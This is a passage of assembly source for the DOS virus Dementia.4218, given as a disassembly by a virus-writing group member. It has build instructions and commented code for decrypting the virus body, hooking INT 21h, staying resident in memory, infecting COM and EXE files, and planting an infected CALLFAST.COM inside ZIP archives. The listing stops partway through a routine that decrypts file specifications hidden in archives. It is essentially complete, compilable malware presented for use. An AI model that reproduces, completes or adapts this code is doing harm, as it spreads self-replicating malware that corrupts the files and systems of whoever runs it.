comment *
			     Dementia.4218
			     Disassembly by
			      Darkman/29A

  Dementia.4218 is a 4218 bytes parasitic resident COM/EXE/ZIP virus. Infects
  files at close file, open file and load and/or execute program by appending
  the virus to the infected COM/EXE file and storing in the infected ZIP file.
  Dementia.4218 has an error handler, 16-bit exclusive OR (XOR) encryption in
  file and is using archive infection technique.

  To compile Dementia.4218 with Turbo Assembler v 4.0 type:
    TASM /M DEMENTI_.ASM
    TLINK /x DEMENTI_.OBJ
    EXE2BIN DEMENTI_.EXE DEMENTI_.COM
*

.model tiny
.code

code_begin:
	     call    delta_offset
delta_offset:
	     pop     si 		 ; Load SI from stack
	     add     si,(crypt_begin-delta_offset-02h)
	     mov     di,si		 ; DI = offset of code_end - 02h

	     std			 ; Set direction flag
	     mov     cx,(crypt_begin-crypt_end-02h)/02h
decrypt_key  equ     word ptr $+01h	 ; Decryption key
	     mov     dx,00h		 ; DX = decryption key

	     push    cs cs		 ; Save segments at stack
	     pop     ds es		 ; Load segments from stack (CS)
decrypt_loop:
	     lodsw			 ; AX = word of encrypted code
	     xor     ax,dx		 ; Decrypt two bytes
	     stosw			 ; Store two plain bytes

	     jmp     crypt_end

	     nop
crypt_end:
	     loop    decrypt_loop

	     cld			 ; Clear direction flag
	     push    cs 		 ; Save CS at stack
	     sub     si,(crypt_end-code_begin)
	     nop
	     mov     cl,04h		 ; Divide by paragraphs
	     shr     si,cl		 ; SI = offset of crypt_end in para...
	     mov     ax,cs		 ; AX = code segment
	     add     ax,si		 ; Add code segment to delta offset...
	     push    ax 		 ; Save AX at stack

	     lea     ax,virus_begin	 ; AX = offset of virus_begin
	     push    ax 		 ; Save AX at stack

	     retf			 ; Return far!
virus_begin:
	     push    cs 		 ; Save CS at stack
	     pop     ds 		 ; Load DS from stack (CS)

	     pop     ax 		 ; Load AX from stack (CS)
	     mov     [code_seg_],ax	 ; Store code segment

	     mov     bx,1492h		 ; Dementia.4218 function
	     call    close_file
	     cmp     bx,1776h		 ; Already resident?
	     je      virus_exit 	 ; Equal? Jump to virus_exit

	     call    install
virus_exit:
	     mov     ah,[com_or_exe]	 ; AH = COM or EXE executable?
	     cmp     ah,00h		 ; COM executable?
	     nop
	     je      vir_com_exit	 ; Equal? Jump to vir_com_exit

	     mov     ax,[code_seg_]	 ; AX = code segment
	     mov     bx,[initial_cs]	 ; AX = initial CS relative to star...
	     sub     ax,bx		 ; Subtract initial CS relative to ...
	     mov     dx,ax		 ; DX = segment of PSP for current ...

	     mov     bx,[code_seg]	 ; BX = original code segment
	     add     ax,bx		 ; Add original code segment to seg...
	     mov     [code_seg],ax	 ; Store original code segment

	     xchg    ax,dx		 ; AX = segment of current PSP proc...

	     cli			 ; Clear interrupt-enable flag
	     mov     bx,[stack_seg]	 ; BX = original stack segment
	     add     ax,bx		 ; Add original stack segment to se...
	     mov     ss,ax		 ; SS = original stack segment

	     mov     ax,[stack_ptr]	 ; AX = original stack pointer
	     mov     sp,ax		 ; SP =    "       "      "
	     sti			 ; Set interrupt-enable flag

	     mov     ah,62h		 ; Get current PSP address
	     int     21h
	     mov     ds,bx		 ; DS = segment of PSP for current ...
	     mov     es,bx		 ; ES = segment of PSP for current ...

	     xor     ax,ax		 ; Zero AX
	     xor     bx,bx		 ; Zero BX
	     xor     cx,cx		 ; Zero CX
	     xor     dx,dx		 ; Zero DX
	     xor     si,si		 ; Zero SI
	     xor     di,di		 ; Zero DI

	     jmp     dword ptr cs:[instruct_ptr]
vir_com_exit:
	     mov     di,100h		 ; DI = offset of beginning of code
	     lea     si,origin_code	 ; SI = offset of origin_code
	     nop
	     movsw			 ; Move the original code to beginning
	     movsb			 ;  "    "     "      "   "      "

	     push    es 		 ; Save ES at stack

	     mov     ax,100h		 ; AX = offset of beginning of code
	     push    ax 		 ; Save AX at stack

	     xor     ax,ax		 ; Zero AX
	     xor     bx,bx		 ; Zero BX
	     xor     cx,cx		 ; Zero CX
	     xor     dx,dx		 ; Zero DX
	     xor     si,si		 ; Zero SI
	     xor     di,di		 ; Zero DI

	     push    es 		 ; Save ES at stack
	     pop     ds 		 ; Load DS from stack (ES)

	     retf			 ; Return far!

upcase_char  proc    near		 ; Upcase character
	     cmp     al,'a'              ; Lowcase character?
	     jl      dont_upcase	 ; Less? Jump to dont_upcase
	     cmp     al,'z'              ; Lowcase character?
	     jg      dont_upcase	 ; Greater? Jump to dont_upcase

	     sub     al,20h		 ; Upcase character
dont_upcase:
	     ret			 ; Return!
	     endp

int21_virus  proc    near		 ; Interrupt 21h of Dementia.4218
	     pushf			 ; Save flags at stack
	     cld			 ; Clear direction flag

	     cmp     ah,3eh		 ; Close file?
	     jne     tst_open_fil	 ; Not equal? Jump to tst_open_fil

	     cmp     bx,1492h		 ; Dementia.4218 function?
	     jne     tst_open_fil	 ; Not equal? Jump to tst_open_fil

	     mov     bx,1776h		 ; Already resident

	     popf			 ; Load flags from stack

	     iret			 ; Interrupt return!
tst_open_fil:
	     cmp     ah,3dh		 ; Open file
	     jne     tst_load_and	 ; Not equal? Jump to tst_load_and

	     cmp     al,0ffh		 ; Dementia.4218 function
	     je      dementia_fun	 ; Equal? Jump to dementia_fun

	     push    ax si		 ; Save registers at stack
	     mov     si,dx		 ; SI = offset of filename
find_dot:
	     lodsb			 ; AL = byte of filename
	     cmp     al,00h		 ; End of filename?
	     je      open_fi_exit	 ; Equal? Jump to open_fi_exit

	     cmp     al,'.'              ; Found the dot in the filename
	     jne     find_dot		 ; Not equal? Jump to find_dot

	     lodsb			 ; AL = byte of extension
	     call    upcase_char
	     cmp     al,'C'              ; COM executable?
	     jne     tst_exe_exec	 ; Not equal? Jump to tst_exe_exec

	     lodsb			 ; AL = byte of extension
	     call    upcase_char
	     cmp     al,'O'              ; COM executable?
	     jne     open_fi_exit	 ; Not equal? Jump to open_fi_exit

	     lodsb			 ; AL = byte of extension
	     call    upcase_char
	     cmp     al,'M'              ; COM executable?
	     jne     open_fi_exit	 ; Not equal? Jump to open_fi_exit

	     call    inf_com_exe

	     jmp     open_fi_exit

	     nop
tst_exe_exec:
	     cmp     al,'E'              ; EXE executable?
	     jne     tst_zip_arch	 ; Not equal? Jump to tst_zip_arch

	     lodsb			 ; AL = byte of extension
	     call    upcase_char
	     cmp     al,'X'              ; EXE executable?
	     jne     open_fi_exit	 ; Not equal? Jump to open_fi_exit

	     lodsb			 ; AL = byte of extension
	     call    upcase_char
	     cmp     al,'E'              ; EXE executable?
	     jne     open_fi_exit	 ; Not equal? Jump to open_fi_exit

	     call    inf_com_exe

	     jmp     open_fi_exit

	     nop
tst_zip_arch:
	     cmp     al,'Z'              ; ZIP archive?
	     jne     open_fi_exit	 ; Not equal? Jump to open_fi_exit

	     lodsb			 ; AL = byte of extension
	     call    upcase_char
	     cmp     al,'I'              ; ZIP archive?
	     jne     open_fi_exit	 ; Not equal? Jump to open_fi_exit

	     lodsb			 ; AL = byte of extension
	     call    upcase_char
	     cmp     al,'P'              ; ZIP archive?
	     jne     open_fi_exit	 ; Not equal? Jump to open_fi_exit

	     call    infect_zip

	     jmp     open_fi_exit

	     nop
open_fi_exit:
	     pop     si ax		 ; Load registers from stack

	     jmp     tst_load_and

	     nop
dementia_fun:
	     mov     al,02h		 ; Dementia.4218 function
tst_load_and:
	     cmp     ah,4bh		 ; Load and/or execute program?
	     jne     int21_exit 	 ; Not equal? Jump to int21_exit

	     call    inf_com_exe
int21_exit:
	     popf			 ; Load flags from stack

	     jmp     cs:[int21_addr]
	     endp

install      proc    near		 ; Allocate memory, move virus to t...
	     push    es 		 ; Save ES at stack

	     mov     ah,52h		 ; Get list of lists
	     int     21h

	     mov     ax,es:[bx-02h]	 ; AX = segment of first memory con...
next_mcb:
	     mov     ds,ax		 ; DS = segment of current memory c...

	     mov     al,ds:[00h]	 ; AL = block type
	     cmp     al,'Z'              ; Last block in chain?
	     je      allocate_mem	 ; Equal? Jump to allocate_mem

	     mov     ax,ds		 ; AX = segment of current memory c...
	     mov     bx,ds:[03h]	 ; BX = size of memory block in par...
	     add     ax,bx		 ; Add size of memory block in para...
	     inc     ax 		 ; AX = segment of next memory cont...

	     jmp     next_mcb
allocate_mem:
	     mov     bx,ds:[03h]	 ; BX = size of memory block in par...
	     sub     bx,(code_end-code_begin+0fh)/10h*02h
	     mov     ds:[03h],bx	 ; Store new size of memory control...

	     mov     ax,ds		 ; AX = segment of last memory cont...
	     add     ax,bx		 ; Add new size of memory block in ...
	     inc     ax 		 ; AX = segment of virus
	     mov     es,ax		 ; ES =    "    "    "

	     push    cs 		 ; Save CS at stack
	     pop     ds 		 ; Load DS from stack (CS)

	     xor     si,si		 ; Zero SI
	     xor     di,di		 ; Zero DI
	     mov     cx,(code_end-code_begin)
	     rep     movsb		 ; Move virus to top of memory

	     push    es 		 ; Save ES at stack

	     lea     ax,install_	 ; AX = offset of install_
	     push    ax 		 ; Save AX at stack

	     retf			 ; Return far!
install_:
	     push    cs 		 ; Save CS at stack
	     pop     ds 		 ; Load DS from stack (CS)

	     mov     ax,3521h		 ; Get interrupt vector 21h
	     int     21h
	     mov     word ptr [int21_addr+02h],es
	     mov     word ptr [int21_addr],bx

	     lea     dx,int21_virus	 ; DX = offset of int21_virus
	     mov     ax,2521h		 ; Set interrupt vector 21h
	     int     21h

	     pop     es 		 ; Load ES from stack

	     ret			 ; Return!
	     endp

inf_com_exe  proc    near		 ; Infect COM/EXE file
	     push    bp 		 ; Save BP at stack
	     mov     bp,sp		 ; BP = stack pointer
	     sub     sp,06h		 ; Correct stack pointer

	     push    ax bx cx dx si di ds es

	     call    int24_store

	     call    open_file
	     jc      com_exe_exit	 ; Error? Jump to com_exe_exit

	     call    load_info
	     and     cx,0000000000011111b
	     cmp     cx,0000000000000001b
	     je      call_close 	 ; Already infected? Jump to call_c...

	     mov     ax,cs		 ; AX = code segment
	     add     ax,(code_end-code_begin+0fh)/10h
	     mov     ds,ax		 ; DS = segment of data buffer

	     mov     cx,20h		 ; Read thirty-two bytes
	     call    read_file

	     mov     ax,ds:[00h]	 ; AX = EXE signature
	     cmp     ax,'MZ'             ; Found EXE signature?
	     je      call_infect	 ; Equal? Jump to call_infect
	     cmp     ax,'ZM'             ; Found EXE signature?
	     je      call_infect	 ; Equal? Jump to call_infect

	     call    infect_com

	     jmp     call_mark

	     nop
call_infect:
	     call    infect_exe
call_mark:
	     call    infect_mark
call_close:
	     call    close_file
com_exe_exit:
	     call    int24_load

	     pop     es ds di si dx cx bx ax

	     mov     sp,bp		 ; SP = stack pointer

	     pop     bp 		 ; Load BP from stack

	     ret			 ; Return!
	     endp

infect_zip   proc    near		 ; Infect ZIP archive
	     push    bp 		 ; Save BP at stack
	     mov     bp,sp		 ; BP = stack pointer
	     sub     sp,28h		 ; Correct stack pointer

	     push    ax bx cx dx si di ds es

	     xor     ax,ax		 ; Didn't found file
	     mov     [bp-0eh],ax	 ; Store didn't found CALLFAST.COM
	     mov     [bp-10h],ax	 ;   "     "      "   REQUEST.IVA
	     mov     [bp-12h],ax	 ;   "     "      "   RECEIPT.IVA

	     call    int24_store

	     push    dx ds		 ; Save registers at stack
	     lea     dx,temp_file	 ; DX = offset of temp_file
	     nop
	     call    create_file
	     mov     [bp-0ah],ax	 ; Store file handle of !#TEMP#!
	     pop     ds dx		 ; Load registers from stack

	     call    open_file
	     jnc     load_info_ 	 ; No error? Jump to load_info_

	     jmp     inf_zip_exit
load_info_:
	     mov     [bp-08h],ax	 ; Store file handle of ZIP file

	     call    load_info

	     mov     ax,cs		 ; AX = code segment
	     add     ax,(code_end-code_begin+0fh)/10h
	     mov     ds,ax		 ; DS = segment of data buffer
next_lfh_sig:
	     mov     cx,04h		 ; Read four bytes
	     call    read_file

	     mov     ax,ds:[00h]	 ; AX = low-order word of file head...
	     cmp     ax,'KP'             ; Found low-order word of file ha...?
	     je      test_dir_sig	 ; Equal? Jump to test_dir_sig

	     jmp     call_mark_
test_dir_sig:
	     mov     ax,ds:[02h]	 ; AX = high-order word of file hea...
	     cmp     ax,201h		 ; Found high-order word of central...
	     jne     read_lfh		 ; Not equal? Jump to read_lfh

	     jmp     zero_cdh_num
read_lfh:
	     mov     cx,1ah		 ; Read twenty-six bytes
	     call    read_file

	     mov     cx,ds:[16h]	 ; CX = filename length
	     mov     dx,20h		 ; DI = offset of filename
	     call    read_file_

	     push    cs 		 ; Save CS at stack
	     pop     es 		 ; Load ES from stack (CS)

	     lea     di,request_iva	 ; DI = offset of request_iva
	     nop
	     mov     si,20h		 ; SI = offset of filename
request_loop:
	     lodsb			 ; AL = byte of filename
	     mov     ah,es:[di] 	 ; AH = byte of request_iva

	     inc     di 		 ; Increase index register

	     cmp     ah,00h		 ; End of filename?
	     je      found_reques	 ; Equal? Jump to found_reques

	     cmp     ah,al		 ; Byte of filename equal to byte o...
	     jne     find_callfas	 ; Not equal? Jump to find_callfas

	     jmp     request_loop
found_reques:
	     mov     ax,01h		 ; Found REQUEST.IVA
	     mov     [bp-10h],ax	 ; Store found REQUEST.IVA

	     xor     cx,cx		 ; Zero CX
	     xor     dx,dx		 ; Zero DX
	     call    set_pos_cfp
	     mov     [bp-24h],ax	 ; AX = low-order word of extra field
	     mov     [bp-22h],dx	 ; DX = high-order word of extra field
find_callfas:
	     lea     di,callfast_com	 ; DI = offset of callfast_com
	     nop
	     mov     si,20h		 ; SI = offset of filename
callfas_loop:
	     lodsb			 ; AL = byte of filename
	     mov     ah,es:[di] 	 ; AH = byte of callfast_com

	     inc     di 		 ; Increase index register

	     cmp     ah,00h		 ; End of filename?
	     je      found_callfa	 ; Equal? Jump to found_callfa

	     cmp     ah,al		 ; Byte of filename equal to byte o...
	     jne     find_receipt	 ; Not equal? Jump to find_receipt

	     jmp     callfas_loop
found_callfa:
	     mov     ax,01h		 ; Found CALLFAST.COM
	     mov     [bp-0eh],ax	 ; Store found CALLFAST.COM
find_receipt:
	     lea     di,receipt_iva	 ; DI = offset of receipt_iva
	     nop
	     mov     si,20h		 ; SI = offset of filename
receipt_loop:
	     lodsb			 ; AL = byte of filename
	     mov     ah,es:[di] 	 ; AH = byte of receipt_iva

	     inc     di 		 ; Increase index register

	     cmp     ah,00h		 ; End of filename?
	     je      found_receip	 ; Equal? Jump to found_receip

	     cmp     ah,al		 ; Byte of filename equal to byte o...
	     jne     calc_lfh_ptr	 ; Not equal? Jump to calc_lfh_ptr

	     jmp     receipt_loop
found_receip:
	     mov     ax,01h		 ; Found RECEIPT.IVA
	     mov     [bp-12h],ax	 ; Store found RECEIPT.IVA
calc_lfh_ptr:
	     mov     dx,ds:[0eh]	 ; DX = low-order word of compresse...
	     mov     cx,ds:[10h]	 ; CX = high-order word of compress...
	     mov     ax,ds:[18h]	 ; AX = extra field length
	     add     dx,ax		 ; Add extra field length to compre...
	     adc     cx,00h		 ; Convert to 32-bit

	     call    set_pos_cfp

	     jmp     next_lfh_sig
zero_cdh_num:
	     xor     ax,ax		 ; No central directory file header...
	     mov     [bp-0ch],ax	 ; Store no central directory file ...
copy_cds:
	     mov     ax,[bp-0ch]	 ; AX = number of central directory...
	     inc     ax 		 ; Increase number of central direc...
	     mov     [bp-0ch],ax	 ; Store number of central director...

	     mov     bx,[bp-08h]	 ; BX = file handle of ZIP file
	     mov     cx,2ah		 ; Read forty-two bytes
	     call    read_file

	     mov     bx,[bp-0ah]	 ; BX = file handle of !#TEMP#!
	     call    write_file_

	     mov     cx,ds:[18h]	 ; CX = filename length
	     mov     bx,ds:[1ah]	 ; BX = extra field length
	     add     cx,bx		 ; Add extra field length to filena...
	     mov     bx,ds:[1ch]	 ; BX = file comment length
	     add     cx,bx		 ; CX = number of bytes to read

	     mov     bx,[bp-08h]	 ; BX = file handle of ZIP file
	     call    read_file_

	     mov     bx,[bp-0ah]	 ; BX = file handle of !#TEMP#!
	     call    write_file_

	     mov     cx,04h		 ; Read four bytes
	     mov     bx,[bp-08h]	 ; BX = file handle of ZIP file
	     call    read_file_

	     mov     ax,ds:[00h]	 ; AX = low-order word of end of ce...
	     cmp     ax,'KP'             ; Found low-order word of end of ...?
	     je      test_eoc_sig	 ; Equal? Jump to test_eoc_sig

	     jmp     call_mark_
test_eoc_sig:
	     mov     ax,ds:[02h]	 ; AX = high-order word of end of c...
	     cmp     ax,605h		 ; Found high-order word of end of ...
	     je      copy_eocds 	 ; Equal? Jump to read_oecds

	     jmp     copy_cds
copy_eocds:
	     mov     bx,[bp-08h]	 ; BX = file handle of ZIP file
	     mov     cx,12h		 ; Read eightteen bytes
	     call    read_file

	     mov     ax,ds:[0ch]	 ; AX = low-order word of offset of...
	     mov     [bp-18h],ax	 ; Store low-order word of offset o...
	     mov     ax,ds:[0eh]	 ; AX = high-order word of offset o...
	     mov     [bp-16h],ax	 ; Store high-order word of offset ...

	     mov     bx,[bp-0ah]	 ; BX = file handle of !#TEMP#!
	     call    write_file_

	     mov     cx,ds:[10h]	 ; CX = zipfile comment length
	     mov     bx,[bp-08h]	 ; BX = file handle of ZIP file
	     call    read_file_

	     mov     bx,[bp-0ah]	 ; BX = file handle of !#TEMP#!
	     call    write_file_

	     mov     ax,[bp-10h]	 ; AX = found REQUEST.IVA
	     or      ax,ax		 ; Didn't found REQUEST.IVA
	     jz      test_callfas	 ; Zero? Jump to test_callfas

	     jmp     test_receipt
test_callfas:
	     mov     ax,[bp-0eh]	 ; AX = found CALLFAST.COM
	     or      ax,ax		 ; Didn't found CALLFAST.COM
	     jz      create_file_	 ; Zero? Jump to create_file_

	     jmp     call_mark_
create_file_:
	     lea     dx,callfast_com	 ; DX = offset of callfast_com
	     nop
	     call    create_file
	     mov     [bp-14h],ax	 ; Store file handle of CALLFAST.COM
	     mov     bx,[bp-14h]	 ; BX = file handle of CALLFAST.COM

	     mov     cx,(file_end-file_begin)
	     nop
	     lea     dx,file_begin	 ; DX = offset of file_begin
	     nop
	     call    write_file_

	     call    close_file

	     mov     ax,01h		 ; Don't test filesize
	     mov     [tst_filesize],ax	 ; Store don't test filesize

	     lea     dx,callfast_com	 ; DX = offset of callfast_com
	     nop
	     call    inf_com_exe

	     xor     ax,ax		 ; Test filesize
	     mov     [tst_filesize],ax	 ; Store test filesize

	     push    cs 		 ; Save CS at stack
	     pop     ds 		 ; Load DS from stack (CS)

	     push    cs 		 ; Save CS at stack
	     pop     es 		 ; Load ES from stack (CS)

	     lea     si,callfast_com	 ; SI = offset of callfast_com
	     nop
	     lea     di,filename	 ; DI = offset of filename
	     nop
	     mov     cx,0dh		 ; Move thirteen bytes
	     rep     movsb		 ; Move CALLFAST.COM to filename
open_filenam:
	     push    cs 		 ; Save CS at stack
	     pop     ds 		 ; Load DS from stack (CS)

	     lea     dx,filename	 ; DX = offset of filename
	     nop
	     call    open_file

	     call    set_pos_eof
	     mov     [bp-1ch],ax	 ; Store low-order word of filesize
	     mov     [bp-1ah],dx	 ; Store high-order word of filesize

	     call    calc_crc32
	     mov     [bp-20h],ax	 ; Store low-order word of CRC-32 c...
	     mov     [bp-1eh],dx	 ; Store high-order word of CRC-32 ...

	     mov     bx,[bp-08h]	 ; BX = file handle of ZIP file
	     mov     cx,[bp-16h]	 ; CX = high-order word of offset o...
	     mov     dx,[bp-18h]	 ; DX = low-order word of offset of...
	     call    set_pos_sof_

	     mov     ax,cs		 ; AX = code segment
	     add     ax,(code_end-code_begin+0fh)/10h
	     mov     ds,ax		 ; DS = segment of data buffer

	     mov     ax,'KP'             ; AX = low-order word of local hea...
	     mov     ds:[00h],ax	 ; Store low-order word of local he...
	     mov     ax,403h		 ; AX = high-order word of local hea...
	     mov     ds:[02h],ax	 ; Store high-order word of local he...
	     mov     ax,0ah		 ; AX = version needed to extract (v...
	     mov     ds:[04h],ax	 ; Store version needed to extract (...
	     xor     ax,ax		 ; AX = general purpose bit flag and...
	     mov     ds:[06h],ax	 ; Store general purpose bit flag
	     mov     ds:[08h],ax	 ; Store compression method (the fil...
	     mov     ax,3021h		 ; AX = last modified file time
	     mov     ds:[0ah],ax	 ; Store last modified file time
	     mov     ax,1ae1h		 ; AX = last modified file date
	     mov     ds:[0ch],ax	 ; Store last modified file date
	     mov     ax,[bp-20h]	 ; AX = low-order word of CRC-32 ch...
	     mov     ds:[0eh],ax	 ; Store low-order word of CRC-32 c...
	     mov     ax,[bp-1eh]	 ; AX = high-order word of CRC-32 c...
	     mov     ds:[10h],ax	 ; Store high-order word of CRC-32 ...
	     mov     ax,[bp-1ch]	 ; AX = low-order word of filesize
	     mov     ds:[12h],ax	 ; Store low-order word of compress...
	     mov     ds:[16h],ax	 ; Store low-order word of uncompre...
	     mov     ax,[bp-1ah]	 ; AX = high-order word of filesize
	     mov     ds:[14h],ax	 ; Store high-order word of compres...
	     mov     ds:[18h],ax	 ; Store high-order word of uncompr...
	     mov     ax,0ch		 ; AX = filename length (12 bytes)
	     mov     ds:[1ah],ax	 ; Store filename length (12 bytes)
	     xor     ax,ax		 ; AX = extra field length (0 bytes)
	     mov     ds:[1ch],ax	 ; Store extra field length (0 bytes)

	     mov     cx,1eh		 ; Write thirty bytes
	     call    write_file

	     push    cs 		 ; Save CS at stack
	     pop     ds 		 ; Load DS from stack (CS)

	     lea     dx,filename	 ; DX = offset of filename
	     nop
	     mov     cx,0ch		 ; Write twelve bytes
	     nop
	     call    write_file_

	     mov     ax,cs		 ; AX = code segment
	     add     ax,(code_end-code_begin+0fh)/10h
	     mov     ds,ax		 ; DS = segment of data buffer

	     mov     bx,[bp-14h]	 ; BX = file handle of CALLFAST.COM
	     call    set_pos_sof
copy_callfas:
	     mov     bx,[bp-14h]	 ; BX = file handle of CALLFAST.COM
	     mov     cx,400h		 ; Read one thousand and twenty-fou...
	     call    read_file
	     cmp     ax,00h		 ; Read all of the file?
	     je      copy_cds_		 ; Equal? Jump to copy_cds_

	     mov     cx,ax		 ; CX = number of bytes actually read
	     mov     bx,[bp-08h]	 ; BX = file handle of ZIP file
	     call    write_file

	     jmp     copy_callfas
copy_cds_:
	     mov     bx,[bp-0ah]	 ; BX = file handle of !#TEMP#!
	     call    set_pos_sof
cpy_cds_loop:
	     mov     ax,[bp-0ch]	 ; AX = number of central directory...
	     cmp     ax,00h		 ; No central directory file header?
	     je      wrt_last_cds	 ; Equal? Jump to write_last_cds

	     dec     ax 		 ; Decrease number of central direc...
	     mov     [bp-0ch],ax	 ; Store number of central director...

	     mov     ax,'KP'             ; AX = low-order word of central d...
	     mov     ds:[00h],ax	 ; Store low-order word of central ...
	     mov     ax,201h		 ; AX = high-order word of central ...
	     mov     ds:[02h],ax	 ; Store high-order word of central...

	     mov     bx,[bp-0ah]	 ; BX = file handle of !#TEMP#!
	     mov     cx,2ah		 ; Read forty-two bytes
	     mov     dx,04h		 ; DX = offset of central directory...
	     call    read_file_

	     mov     cx,ds:[1ch]	 ; CX = filename length
	     mov     dx,ds:[1eh]	 ; DX = extra field length
	     add     cx,dx		 ; Add extra field length to filena...
	     mov     dx,ds:[20h]	 ; DX = file comment length
	     add     cx,dx		 ; CX = number of bytes to read

	     push    cx 		 ; Save CX at stack
	     mov     dx,2eh		 ; DX = offset of central directory...
	     call    read_file_

	     mov     bx,[bp-08h]	 ; BX = file handle of ZIP file
	     pop     cx 		 ; Load CX from stack
	     add     cx,2eh		 ; Add size of central directory fi...
	     call    write_file

	     jmp     cpy_cds_loop
wrt_last_cds:
	     mov     ax,0ah		 ; AX = version made by (version 1....
	     mov     ds:[04h],ax	 ; Store version made by (version 1...
	     mov     ds:[06h],ax	 ; Store version needed to extract (...
	     xor     ax,ax		 ; AX = general purpose bit flag and...
	     mov     ds:[08h],ax	 ; Store general purpose bit flag
	     mov     ds:[0ah],ax	 ; Store compression method (the fil...
	     mov     ax,3021h		 ; AX = last modified file time
	     mov     ds:[0ch],ax	 ; Store last modified file time
	     mov     ax,1ae1h		 ; AX = last modified file date
	     mov     ds:[0eh],ax	 ; Store last modified file date
	     mov     ax,[bp-20h]	 ; AX = low-order word of CRC-32 ch...
	     mov     ds:[10h],ax	 ; Store low-order word of CRC-32 c...
	     mov     ax,[bp-1eh]	 ; AX = high-order word of CRC-32 c...
	     mov     ds:[12h],ax	 ; Store high-order word of CRC-32 ...
	     mov     ax,[bp-1ch]	 ; AX = low-order word of filesize
	     mov     ds:[14h],ax	 ; Store low-order word of compress...
	     mov     ds:[18h],ax	 ; Store low-order word of uncompre...
	     mov     ax,[bp-1ah]	 ; AX = high-order word of filesize
	     mov     ds:[16h],ax	 ; Store high-order word of compres...
	     mov     ds:[1ah],ax	 ; Store high-order word of compres...
	     mov     ax,0ch		 ; AX = filename length (12 bytes)
	     mov     ds:[1ch],ax	 ; Store filename length (12 bytes)
	     xor     ax,ax		 ; AX = extra field length, file co...
	     mov     ds:[1eh],ax	 ; Store extra field length (0 bytes)
	     mov     ds:[20h],ax	 ; Store file comment length (0 bytes)
	     mov     ds:[22h],ax	 ; Store disk number start (0 bytes)
	     mov     ds:[24h],ax	 ; Store internal file attributes
	     mov     ds:[26h],ax	 ; Store low-order word of external...
	     mov     ds:[28h],ax	 ; Store high-order word of externa...
	     mov     ax,[bp-18h]	 ; AX = low-order word of offset of...
	     mov     ds:[2ah],ax	 ; Store low-order word of relative...
	     mov     ax,[bp-16h]	 ; AX = high-order word of offset o...
	     mov     ds:[2ch],ax	 ; Store high-order word of relativ...

	     mov     bx,[bp-08h]	 ; BX = file handle of ZIP file
	     mov     cx,2eh		 ; Write forty-six bytes
	     call    write_file

	     push    cs 		 ; Save CS at stack
	     pop     ds 		 ; Load DS from stack (CS)

	     lea     dx,filename	 ; DX = offset of filename
	     nop
	     mov     cx,0ch		 ; Write twelve bytes
	     nop
	     call    write_file_

	     mov     ax,cs		 ; AX = code segment
	     add     ax,(code_end-code_begin+0fh)/10h
	     mov     ds,ax		 ; DS = segment of data buffer

	     mov     ax,'KP'             ; AX = low-order word of end of ce...
	     mov     ds:[00h],ax	 ; Store low-order word of end of c...
	     mov     ax,605h		 ; AX = high-order word of end of c...
	     mov     ds:[02h],ax	 ; Store high-order word of end of ...

	     mov     bx,[bp-0ah]	 ; BX = file handle of !#TEMP#!
	     mov     cx,12h		 ; Read eightteen bytes
	     mov     dx,04h		 ; DX = offset of end of central di...
	     call    read_file_

	     mov     cx,ds:[14h]	 ; CX = zipfile comment length
	     push    cx 		 ; Save CX at stack
	     mov     dx,16h		 ; DX = offset of zipfile comment
	     call    read_file_

	     mov     ax,ds:[08h]	 ; AX = total number of entries in ...
	     inc     ax 		 ; Increase total number of entries...
	     mov     ds:[08h],ax	 ; Store total number of entries in...
	     mov     ax,ds:[0ah]	 ; AX = total number of entries in ...
	     inc     ax 		 ; Increase total number of entries...
	     mov     ds:[0ah],ax	 ; Store total number of entries in...
	     mov     ax,ds:[0ch]	 ; AX = low-order word of size of t...
	     mov     dx,ds:[0eh]	 ; DX = high-order word of size of ...
	     add     ax,3ah		 ; Add size of central directory fi...
	     nop
	     adc     dx,00h		 ; Convert to 32-bit
	     mov     ds:[0ch],ax	 ; Store low-order word of size of ...
	     mov     ds:[0eh],dx	 ; Store high-order word of size of...
	     mov     ax,ds:[10h]	 ; AX = low-order word of offset of...
	     mov     dx,ds:[12h]	 ; DX = high-order word of offset o...
	     add     ax,2ah		 ; Add size of local file header to...
	     nop
	     adc     dx,00h		 ; Convert to 32-bit
	     mov     bx,[bp-1ah]	 ; BX = high-order word of filesize
	     add     dx,bx		 ; Add high-order word of filesize ...
	     mov     bx,[bp-1ch]	 ; BX = low-order word of filesize
	     add     ax,bx		 ; Add low-order word of filesize t...
	     adc     dx,00h		 ; Convert to 32-bit
	     mov     ds:[10h],ax	 ; Store low-order word of offset o...
	     mov     ds:[12h],dx	 ; Store high-order word of offset ...

	     mov     bx,[bp-08h]	 ; BX = file handle of ZIP file
	     pop     cx 		 ; Load CX from stack
	     add     cx,16h		 ; Add size of end of central direc...
	     call    write_file

	     mov     bx,[bp-14h]	 ; BX = file handle of CALLFAST.COM
	     call    close_file

	     lea     dx,filename	 ; DX = offset of filename
	     nop
	     call    delete_file

	     jmp     call_mark_
test_receipt:
	     mov     ax,[bp-12h]	 ; AX = found RECEIPT.IVA
	     or      ax,ax		 ; Didn't found RECEIPT.IVA
	     jz      exam_extra 	 ; Zero? Jump to exam_extra

	     jmp     call_mark_
exam_extra:
	     mov     bx,[bp-08h]	 ; BX = file handle of ZIP file
	     mov     cx,[bp-22h]	 ; CX = high-order word of extra field
	     mov     dx,[bp-24h]	 ; DX = low-order word of extra field
	     call    set_pos_sof_

	     mov     ax,cs		 ; AX = code segment
	     add     ax,(code_end-code_begin+0fh)/10h
	     mov     ds,ax		 ; DS = segment of data buffer
	     mov     es,ax		 ; ES = segment of data buffer

	     mov     cx,400h		 ; Read one thousand and twenty-fou...
	     call    read_file

	     cld			 ; Clear direction flag
	     xor     si,si		 ; Zero SI
	     xor     di,di		 ; Zero DI
	     lodsw			 ; AX = word of extra field
	     cmp     ax,1492h		 ; Found infection mark?
	     je      comp_extra 	 ; Equal? Jump to comp_extra

	     jmp     call_mark_
comp_extra:
	     lodsw			 ; AX = word of extra field
	     cmp     ax,1776h		 ; Found infection mark?
	     je      load_extra 	 ; Equal? Jump to load_extra

	     jmp     call_mark_
load_extra:
	     lodsw			 ; AX = 16-bit decryption key
	     mov     dx,ax		 ; DX =   "        "       "
	     lodsb			 ; AL = number of file specifications

	     xor     cx,cx		 ; Zero CX
	     mov     cl,al		 ; CL = number of filespecification
	     push    ax 		 ; Save AX at stack
decrypt_next:
	     push    cx 		 ; Save CX at stack
	     mov     cx,07h		 ; Decryption fourteen bytes
decrypt_spec:
	     lodsw			 ; AX = word of encrypted file spec...
	     xor     ax,dx		 ; Decrypt word of file specification
	     stosw			 ; Store word of file specification

	     loop    decrypt_spec

	     pop     cx 		 ; Load CX from stack

